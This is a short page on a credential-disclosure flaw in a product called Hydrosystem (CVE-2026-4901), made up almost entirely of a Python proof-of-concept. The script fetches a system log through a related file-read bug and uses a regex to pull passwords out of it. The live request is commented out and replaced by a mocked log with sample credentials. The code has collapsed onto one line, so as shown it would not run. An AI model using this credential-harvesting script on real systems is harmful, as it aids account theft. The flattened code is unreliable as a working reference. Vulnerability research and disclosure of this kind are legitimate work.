CVE-2026-4901 Hydrosystem凭据信息泄露漏洞

import requests import re # Proof of Concept (PoC) for CVE-2026-4901 # This script demonstrates how an attacker might extract credentials from log files. # It assumes that CVE-2026-34184 can be used to read the log file. def check_log_disclosure(target_url): print(f"[*] Target: {target_url}") # Simulate accessing the log file via the associated file read vulnerability (CVE-2026-34184) # In a real scenario, the endpoint would be specific to the vulnerable application. log_endpoint = "/api/v1/logs/system.log" try: print(f"[*] Attempting to fetch log file from {target_url}{log_endpoint}...") # response = requests.get(f"{target_url}{log_endpoint}") # Actual request # Simulating a response containing leaked credentials for demonstration mock_response_content = """ 2026-04-09 10:15:22 INFO User 'admin' login attempt with password 'Admin@123!' 2026-04-09 10:15:23 ERROR Connection timeout 2026-04-09 10:16:00 INFO User 'operator' authenticated successfully. Password: 'Op#2026' """ # Analyze the log content for patterns resembling credentials # Common patterns: 'password', 'passwd', 'login with' print("[*] Analyzing log content for sensitive data...") # Regex to find potential password assignments or login attempts pattern = r"(password|passwd).*?[\'\"](.*?)[\'\"]" matches = re.findall(pattern, mock_response_content, re.IGNORECASE) if matches: print("[!] Potential credentials found in logs:") for match in matches: print(f" - Key: {match[0]}, Value: {match[1]}") print("[!] Vulnerability Confirmed: CVE-2026-4901") else: print("[-] No obvious credentials found in this log snippet.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://hydrosystem.local" check_log_disclosure(target)